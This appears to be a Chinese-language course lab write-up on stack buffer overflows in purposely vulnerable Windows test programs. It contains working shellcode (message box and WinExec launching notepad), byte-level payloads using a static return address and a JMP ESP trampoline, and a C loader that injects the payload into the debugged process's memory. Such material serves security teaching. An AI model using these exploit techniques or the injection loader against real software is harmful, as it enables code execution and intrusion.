overflow_exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <windows.h>
#include <string>
#define PASSWORD "1234567"
int verify_password (char *password){
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main(){
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+"))){
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag){
printf("incorrect password!\n");
}else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}

程序分析

主函数:读取password.txt 并调用验证函数,根据比较结果进行显示

验证函数:比较两字符串,将原字符串复制到Destination数组。Dst大小为44,但Source的长度并未限制,在strcpy时可能造成栈溢出,此处即为shellcode注入点

获取所需的MessageBoxA和ExitProcess函数地址

用Dependency Walker打开exe
点击菜单“剖析”->“开始剖析”
弹出设置信息,直接默认设置点击确认即可。

获取 MessageBoxA 地址

  • 在左侧模块列表中,点击 USER32.DLL
  • 在中间下方的模块窗口中,找到 USER32.DLL 并记下它的实际基址 (Actual Base) 。 (0x77DF0000 )
  • 在右下角的函数列表中,找到 MessageBoxA 并记下它的入口点 (Entrypoint) 偏移 。 (0x00033D68 )
  • 计算绝对地址:基址 + 入口点 = 绝对地址。(0x77DF0000 + 0x00033D68 = 0x77E23D68 )

入口点0x00033D68
实际基址0x77DF0000

获取 ExitProcess 地址

  1. 在左侧模块列表中,点击 KERNEL32.DLL
  2. 记下 KERNEL32.DLL实际基址 (Actual Base) 。 (0x77E60000 )
  3. 在右下角的函数列表中,找到 ExitProcess 并记下它的入口点 (Entrypoint) 偏移 。 (0x0001B0BB )
  4. 计算绝对地址:基址 + 入口点 = 绝对地址。(0x77E60000 + 0x0001B0BB = 0x77E7B0BB )

编写并提取 Shellcode 机器码

修改shellcode的main.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include<windows.h>
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,0x440
xor ebx,ebx
push ebx
push 0x74707562 //bupt
push 0x74707562 //bupt

mov eax,esp
push ebx
push eax
push eax
push ebx

mov eax,0x77E23D68 //messageboxA 入口地址
call eax
push ebx
mov eax,0x77E7B0BB //exitprocess 入口地址
call eax
}
return 0;
}

编译运行,生成exe文件


成功弹出了对话框

打开 OllyDbg,将 shellcode.exe 拖入其中 。
直接F8运行至弹出对话框,找到了main函数,下断点

步入main函数内部,找到核心shellcode代码

  • 开头 (xor ebx, ebx): 开始准备参数 。
  • 中间 (call eax for MessageBoxA): 执行主要任务(弹窗) 。
  • 结尾 (call eax for ExitProcess): 安全地结束任务 。

保存到文件

方法一 (淹没静态地址)

这种方法利用缓冲区溢出 ,用 shellcode 和填充数据 填满栈帧,最后用 shellcode 的起始地址 覆盖函数的返回地址

分析栈结构与漏洞

  • 漏洞点verify_password 函数中的 strcpy(Destination, Source);
  • 栈帧Destination (即 buffer) 大小为 44 字节 。在它之上是 authenticated (4字节) 和 EBP (4字节) ,再往上就是返回地址 。
  • 偏移量:你需要覆盖 44 + 4 + 4 = 52 个字节才能到达返回地址 。


在exe文件目录下创建一个password.txt文档

查找 Buffer 的静态地址

call strcpy在地址00401064

将overflow_exe拖入OllyDbg分析,在call strcpy处下断点

获取地址:当程序在断点处暂停时,查看 strcpy 的目标地址 (Destination) 。这就是 buffer 在栈上的起始地址。记下这个地址 (0x0012FAF0 )

看到函数的第一个参数(dest)存放在EDX,因此可以查看EDX此时的值得到dest。也可以看栈的当前值,就是dest

构造 Payload

  • Shellcode:粘贴提取的 shellcode 机器码 。
  • Padding (填充):在 shellcode 后面填充 0x90 (NOP 指令),直到 shellcode + 填充的总长度刚好为 52 字节
  • 返回地址:写入 buffer 起始地址 (0x0012FAF0) 。
    • 注意:地址必须倒序 (Little-endian) 写入。0x0012FAF0 应写作 F0 FA 12 00

打开editor,ctrl+h进入16进制编辑

运行overflow_exe成功弹出对话框

动态调试查看跳转逻辑
strcpy的返回地址被覆盖为0012FAF0
继续运行跳转到了shellcode

方法二 (通过跳板 JMP ESP)

这种方法更可靠。我们不跳回 buffer 的 固定 地址,而是跳到一个固定的 JMP ESP 指令的地址 。RET 指令执行后,ESP 寄存器刚好指向返回地址的 下一个 位置 ,我们把 shellcode 放在那里 ,JMP ESP 就会跳转到我们的 shellcode 上 。

查找 JMP ESP 跳板

手动查找JMP ESP。
点击 “M”,打开内存映射窗口。
找到ntdll的.text区的起始地址,跳转查看。

77F8948B

构造 Payload

  • Padding (填充):写入 52 字节的填充数据 。(0x61 [‘a’] )。
  • 返回地址 (跳板):写入 JMP ESP 地址 。(0x77F8948B)。同样,必须倒序写入
  • Shellcode紧接着返回地址,粘贴提取的 shellcode 机器码 。

成功弹出对话框

运行调试查看跳转逻辑

返回地址被覆盖为77F8948B,即JMP ESP的地址
运行JMP ESP,此时ESP指向0012FB28,正好是shellcode的起始地址

修改 Shellcode (修改标题)

MessageBoxA 的参数是通过栈传递的,顺序从右到左 :uType, lpCaption (标题), lpText (文本), hWnd (句柄) 。要修改标题,我们只需修改 lpCaption 参数指向的字符串

编写新 Shellcode (修改 shellcode.cpp)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sub sp,0x440
xor ebx,ebx
xor ecx,ecx
push ebx //压入 0 作为字符串结尾
push 0x31303031 //压入 "1001"
push 0x33323032 //压入 "2023"
mov ecx,esp //ECX 现在指向 "20231001" 字符串
push ebx
push 0x74707562 //压入 "bupt"
mov eax,esp //EAX 现在指向 "bupt" 字符串
push ebx // uType
push ecx // 压入 "20231001" (ECX) 作为标题
push eax // 压入 "bupt" (EAX) 作为内容
push ebx // hWnd
mov eax,0x77E23D68 //messageboxA
call eax
push ebx
mov eax,0x77E7B0BB //exitprocess
call eax

编译新的shellcode.cpp

用OllyDbg提取shellcode

  • 汇编指令SUB SP, 440
  • OllyDbg 显示66:81EC (操作码) 和 4004 (立即数/参数)
  • 实际的机器码 (Hex)66 81 EC 40 04

通过淹没静态地址实现

构造payload


成功弹出对话框

通过跳板JMP ESP实现

构造payload

攻击成功

StackOverrun.exe

目标:不修改 StackOverrun.c ,构造 shellcode,通过 JMP ESP 方式调用 WinExec 打开 shellcode.txt

分析程序

  • 代码中有大量的字符串操作指令:repne scasb (计算长度), rep movsd, rep movsb (复制数据)。
  • 这些指令组合起来,实际上是在执行一个内联的 strcpy 操作。

攻击思路

  • 注入点:通过命令行参数 (argv[1]) 输入 Payload。
  • 漏洞foo 函数中的字符串复制操作没有边界检查,导致栈溢出。
  • 利用方式
    • 构造一个超长的字符串作为参数。
    • 字符串的前面部分是填充数据(Padding),用来填满缓冲区。
    • 接下来是跳板地址(覆盖掉原始的返回地址),指向一个 JMP ESP 指令。
    • 最后是我们的 Shellcode(比如打开记事本或弹窗的代码)。
  • 执行流程
    • main -> foo -> strcpy (溢出发生) -> foo 返回 -> JMP ESP -> 执行 Shellcode。

获取 WinExec 地址和 ExitProcess 地址

用Dependency Walker打开exe文件,并剖析

基址0x77E60000
入口点0x00018601
加起来是77E78601

入口点0x0001B0BB
加起来是77E7B0BB

编写并提取 Shellcode

功能是执行 WinExec("notepad shellcode.txt", SW_SHOWNORMAL)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main() {
_asm {
sub esp, 0x50
xor ebx, ebx
// 构造字符串 "notepad shellcode.txt"
// 必须反向压栈,利用 PUSH 0x74 自动生成的 00 作为结尾
// 剩余的字符 "t" (以及自动填充的 00 00 00) -> 对应字符串末尾的 "t\0"
push 0x74 // 机器码: 6A 74 (无00坏字符)
// "e.tx" -> 0x78742E65
push 0x78742E65
// "lcod" -> 0x646F636C
push 0x646F636C
// "shel" -> 0x6C656873
push 0x6C656873
// "pad " -> 0x20646170 (注意空格是 20)
push 0x20646170
// "note" -> 0x65746F6E
push 0x65746F6E
// EAX 现在指向字符串 "notepad shellcode.txt" 的开头
mov eax, esp
// 调用 WinExec
// 参数2: uCmdShow = 1 (SW_SHOWNORMAL)
push 1 // 机器码: 6A 01 (无00坏字符)
// 参数1: lpCmdLine
push eax
mov eax, 0x77E78601 // 你的 WinExec 地址
call eax
// 调用 ExitProcess
// 参数1: uExitCode = 0
// (EBX 已经是 0,机器码 53,安全)
push ebx
mov eax, 0x77E7B0BB // 你的 ExitProcess 地址
call eax
}
return 0;
}

找JMP ESP


记录下地址77F8948B

构造 Payload 字符串

函数开头分配了12字节,因此padding长度为12字节
即构造90 90 90 90 90 90 90 90 90 90 90 90 (12个) + 0x77F8948B[JMP ESP 地址] + [Shellcode]
得到payload

内存补丁

先在参数里设置AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA用来占位
通过动态调试的方法,将输入从“AAA…”改为payload

直接将这部分的数据改成payload
61 61 61 61 61 61 61 61 61 61 61 61 8B 94 F8 77
83 EC 50 33 DB 6A 74 68 65 2E 74 78 68 6C 63 6F
64 68 73 68 65 6C 68 70 61 64 20 68 6E 6F 74 65
8B C4 6A 01 50 B8 01 86 E7 77 FF D0 53 B8 BB B0
E7 77 FF D0

F9运行,成功弹出了shellcode.txt

证明payload的有效的,但是需要解决坏字符问题

Loader加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#include <windows.h>
#include <stdio.h>
#include <vector>

using namespace std;

// 目标函数 foo 的入口地址
const LPVOID FOO_ADDRESS = (LPVOID)0x00401000;

// --- 最终 Payload (Padding + JMP ESP + 安全跳板 + Shellcode) ---
unsigned char payload[] = {
// [1. 填充区] 12字节填充,用于填满局部变量缓冲区
0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,

// [2. 返回地址] 覆盖 RET 地址,指向 JMP ESP (0x77F8948B)
0x8B, 0x94, 0xF8, 0x77,

// [3. Shellcode 起始区]
// [安全跳板] JMP SHORT +8。跳过紧随其后的8字节,防止内存写入截断/损坏导致指令错乱
0xEB, 0x08,

// [NOP 滑梯] 被跳过的区域,即使这里的数据坏了也不影响程序运行
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,

// [4. 真实 Shellcode] 功能:WinExec("notepad shellcode.txt", 1)
0x83, 0xEC, 0x50, // SUB ESP, 50 (抬高栈顶,保护代码)
0x33, 0xDB, // XOR EBX, EBX (清零 EBX)

// --- 构造字符串 "notepad shellcode.txt" (逆序压栈) ---
0x6A, 0x74, // PUSH 0x74 ('t') + \0
0x68, 0x65, 0x2E, 0x74, 0x78, // PUSH "e.tx"
0x68, 0x6C, 0x63, 0x6F, 0x64, // PUSH "lcod"
0x68, 0x73, 0x68, 0x65, 0x6C, // PUSH "shel"
0x68, 0x70, 0x61, 0x64, 0x20, // PUSH "pad "
0x68, 0x6E, 0x6F, 0x74, 0x65, // PUSH "note"

// --- 调用 WinExec ---
0x8B, 0xC4, // MOV EAX, ESP (EAX 指向字符串首地址)
0x6A, 0x01, // PUSH 1 (SW_SHOWNORMAL)
0x50, // PUSH EAX (参数:命令字符串)

// WinExec 地址 (根据你环境实际地址 0x77E78601 填写)
0xB8, 0x01, 0x86, 0xE7, 0x77,
0xFF, 0xD0, // CALL EAX

// --- 调用 ExitProcess ---
0x53, // PUSH EBX (ExitCode = 0)
// ExitProcess 地址 (根据你环境实际地址 0x77E7B0BB 填写)
0xB8, 0xBB, 0xB0, 0xE7, 0x77,
0xFF, 0xD0 // CALL EAX
};

// 辅助函数:扫描全内存,暴力替换所有匹配的占位符
int PatchAllOccurrences(HANDLE hProcess, const char* pattern, size_t patternLen, unsigned char* data, size_t dataLen) {
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);
LPVOID currentAddr = sysInfo.lpMinimumApplicationAddress;
LPVOID maxAddr = sysInfo.lpMaximumApplicationAddress;
MEMORY_BASIC_INFORMATION memInfo;
vector<char> buffer;
int patchCount = 0;

// 遍历进程内存块
while (currentAddr < maxAddr) {
if (VirtualQueryEx(hProcess, currentAddr, &memInfo, sizeof(memInfo)) == 0) break;
// 只处理可读写的已提交内存
if ((memInfo.State == MEM_COMMIT) &&
(memInfo.Protect == PAGE_READWRITE || memInfo.Protect == PAGE_EXECUTE_READWRITE)) {
buffer.resize(memInfo.RegionSize);
SIZE_T bytesRead;
if (ReadProcessMemory(hProcess, memInfo.BaseAddress, &buffer[0], memInfo.RegionSize, &bytesRead)) {
// 暴力搜索特征码
for (size_t i = 0; i < bytesRead - patternLen; ++i) {
bool found = true;
for (size_t j = 0; j < patternLen; ++j) {
if (buffer[i + j] != pattern[j]) {
found = false; break;
}
}
// 找到特征码,执行内存写入
if (found) {
LPVOID patchAddr = (LPBYTE)memInfo.BaseAddress + i;
if (WriteProcessMemory(hProcess, patchAddr, data, dataLen, NULL)) {
printf("[+] Patched memory at: 0x%p\n", patchAddr);
patchCount++;
}
}
}
}
}
currentAddr = (LPBYTE)memInfo.BaseAddress + memInfo.RegionSize;
}
return patchCount;
}

int main() {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

// 1. 构造超长占位符参数,确保内存空间足够且连续
char cmdLine[] = "StackOverrun.exe \"PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP\"";
char searchPattern[] = "PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP";

printf("[*] Launching StackOverrun.exe in DEBUG mode...\n");

// 2. 以调试模式启动进程 (DEBUG_ONLY_THIS_PROCESS)
if (!CreateProcess(NULL, cmdLine, NULL, NULL, FALSE, DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi)) {
printf("[-] CreateProcess failed. Did you close the old Loader?\n");
return 1;
}

DEBUG_EVENT de;
BYTE originalByte = 0;
BYTE int3 = 0xCC; // 断点指令
bool bpSet = false;
bool patched = false;

// 3. 进入调试循环
while (WaitForDebugEvent(&de, INFINITE)) {
// 进程创建:在目标函数 foo 处埋下断点
if (de.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) {
if (de.u.CreateProcessInfo.hFile) CloseHandle(de.u.CreateProcessInfo.hFile);
printf("[*] Process started. Setting breakpoint at foo (0x%p)...\n", FOO_ADDRESS);
if (ReadProcessMemory(pi.hProcess, FOO_ADDRESS, &originalByte, 1, NULL)) {
WriteProcessMemory(pi.hProcess, FOO_ADDRESS, &int3, 1, NULL); // 写入 INT 3
bpSet = true;
}
}
// 异常处理:捕获断点
else if (de.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) {
EXCEPTION_RECORD er = de.u.Exception.ExceptionRecord;
if (er.ExceptionCode == EXCEPTION_BREAKPOINT && bpSet && !patched) {
// 确认断点位置是否正确
if ((LPVOID)((DWORD)er.ExceptionAddress) == FOO_ADDRESS) {
printf("[+] Breakpoint hit! CRT initialized. Scanning memory...\n");

// [关键步骤] 搜索并替换 Payload
int count = PatchAllOccurrences(pi.hProcess, searchPattern, strlen(searchPattern), payload, sizeof(payload));

if (count > 0) {
printf("[+] Successfully patched %d occurrence(s)!\n", count);
patched = true;
} else {
printf("[-] Placeholder not found.\n");
}

// 恢复现场:还原原始指令,EIP回退
WriteProcessMemory(pi.hProcess, FOO_ADDRESS, &originalByte, 1, NULL);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ctx.Eip--;
SetThreadContext(pi.hThread, &ctx);
printf("[*] Resuming execution...\n");
}
}
}
// 进程退出
else if (de.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) {
printf("[*] Target process exited. Loader closing.\n");
break;
}
else if (de.dwDebugEventCode == LOAD_DLL_DEBUG_EVENT) {
if (de.u.LoadDll.hFile) CloseHandle(de.u.LoadDll.hFile);
}
// 继续运行被调试进程
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, DBG_CONTINUE);
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}
  • 根本机制:绕过命令行解析
    • Loader 启动目标程序时,传入的是一串完全无害的占位符(如 "PPPPPPPP...")。这些字符都是标准的 ASCII 字符,系统解析时绝不会出错。
    • 当程序启动并暂停后,Loader 使用 WriteProcessMemory API。这个函数的作用是直接写入原始二进制数据
  • 覆盖策略:全内存暴力替换
    • C 语言程序启动时,C 运行时库 (CRT) 会把命令行参数复制一份到堆(Heap)中生成 argv 数组。如果你只修改了命令行源头,程序实际执行时读取的可能是堆上的副本(依然是占位符),导致攻击失败。
    • 代码中的 PatchAllOccurrences 函数遍历了目标进程所有的可读写内存,全部替换
  • 容错机制:安全跳板 (Safety Jump / NOP Sled)
    • Shellcode 注入后,前端的某些字节(大约第 7-8 字节处)经常会出现写入截断或未完全覆盖的情况(变成了 0x61),这导致 Shellcode 执行到一半直接崩溃。
    • 在 Payload 的最开头加入了一个短跳转指令0xEB, 0x08 (JMP SHORT +8)。跳过了紧随其后的 8 个字节

上一步的动态调试确保了payload的核心逻辑和地址引用是没有问题的,因此这里只需要额外处理坏字符的问题。
最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
; --- 第一部分:填充与劫持控制流 ---
DB 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a' ; 12字节填充,填满缓冲区
DD 0x77F8948B ; 覆盖返回地址 (RET),指向内存中的 JMP ESP 指令

; --- 第二部分:安全跳板 (修复内存截断/损坏问题) ---
JMP SHORT $+0x0A ; 短跳转指令,跳过接下来的 8 字节 (防止坏字符破坏执行流)
NOP ; 空指令滑梯 (NOP Sled)
NOP ; 这块区域用于吸收可能因内存写入截断产生的错误数据
NOP
NOP
NOP
NOP
NOP
NOP

; --- 第三部分:Shellcode 执行逻辑 ---
SUB ESP, 0x50 ; 抬高栈顶指针,为 Shellcode 执行腾出栈空间
XOR EBX, EBX ; 将 EBX 寄存器清零,后续用作 NULL 或 0

; --- 构造字符串 "notepad shellcode.txt" (逆序压栈) ---
PUSH 0x74 ; 推入字符 't' (高位自动补 00,作为字符串结尾 \0) [cite: 181]
PUSH 0x78742E65 ; 推入 "e.tx"
PUSH 0x646F636C ; 推入 "lcod"
PUSH 0x6C656873 ; 推入 "shel"
PUSH 0x20646170 ; 推入 "pad " (注意 0x20 代表空格)
PUSH 0x65746F6E ; 推入 "note"

; --- 调用 WinExec 函数 ---
MOV EAX, ESP ; 让 EAX 指向栈顶构造好的字符串 "notepad shellcode.txt"
PUSH 1 ; 压入参数2: uCmdShow = SW_SHOWNORMAL
PUSH EAX ; 压入参数1: lpCmdLine (命令字符串指针)
MOV EAX, 0x77E78601 ; 将 WinExec 函数的硬编码地址放入 EAX
CALL EAX ; 调用 WinExec

; --- 调用 ExitProcess 函数 ---
PUSH EBX ; 压入参数1: uExitCode = 0 (EBX 之前已清零)
MOV EAX, 0x77E7B0BB ; 将 ExitProcess 函数的硬编码地址放入 EAX
CALL EAX ; 调用 ExitProcess,使程序正常退出而不崩溃